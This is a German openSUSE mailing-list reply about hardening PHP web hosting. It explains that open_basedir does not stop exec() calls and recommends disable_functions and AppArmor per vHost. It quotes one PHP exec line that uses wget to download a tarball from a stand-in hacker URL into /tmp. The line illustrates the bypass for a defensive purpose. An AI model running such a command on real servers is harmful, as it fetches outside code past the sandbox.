Hallo Ingo, hallo Leute, Am Donnerstag, 2. Mai 2013 schrieb I.H.:
open_basedir=/srv/www/htdocs/user12/:/usr/share/php5/PEAR/
Obwohl die open_basedir restriction das ja eigentlich nicht erlaubt. Ein Programm wie dieses scheitert auch daran:
Aber mittels wget funktioniert es dann doch:
exec("/usr/bin/wget www.hackerseite-url.org/test.tar -o /tmp/test_download.tar");
test.tar landet tatsächlich im /tmp/
Wie Du erfolgreich ;-) festgestellt hast, ist open_basedir kein Allheilmittel und greift nur für PHP-interne Funktionen.
Fehlt mir hier ein wichtiger Baustein in meiner Webserver-Konfiguration? Oder muss ich wget und curl irgendwie abschalten?
Ältere PHP-Versionen hatten den safe_mode - aber der ist rausgeflogen, weil er nicht wirklich "safe" war. Evtl. hilft Dir die PHP-Option disable_functions weiter, das ist aber kein Allheilmittel.
Oder muss ich den Usern /tmp/ irgendwie verbieten. Hat da wer Erfahrung damit und kann mir weiterhelfen.
Ich persönlich bevorzuge Whitelisting statt Blacklisting - es ist alles verboten, das ich nicht ausdrücklich erlaube. [1] Mittel zum Zweck ist AppArmor + Apache-Modul mod_apparmor, damit ich jeden vHost einzeln konfigurieren kann. Bei Interesse findest Du auf http://blog.cboltz.de/archives/65-openSUSE-conference.html ein PDF ("AppArmor Crashkurs"), mit dem Du zumindest einen Einstieg ins Thema bekommst. Mehr Details stehen im Security Manual auf doc.opensuse.org. Als Bonus bekommst Du "ps Zaux", mit dem Du siehst, in welchem vHost ein Apache-Prozess gerade werkelt. AppArmor ist prinzipiell recht einfach zu lernen, aber in Verbindung mit Apache wirst Du doch etwas Zeit brauchen, bis Du alle Feinheiten justiert hast. (Das Ganze ist ein Balanceact zwischen "sicher, aber die Kunden meckern" und "fast alles erlauben".) Gruß Christian Boltz [1] Jedenfalls vom Prinzip her - ich habe die meisten vHosts im complain mode laufen. Das heißt, dass nicht tatsächlich geblockt wird, sondern "nur" ins Log geschrieben. -- It's the goldmaster - there're no bugs ;-) [Andreas Jäger about SuSE 9.3] -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner@opensuse.org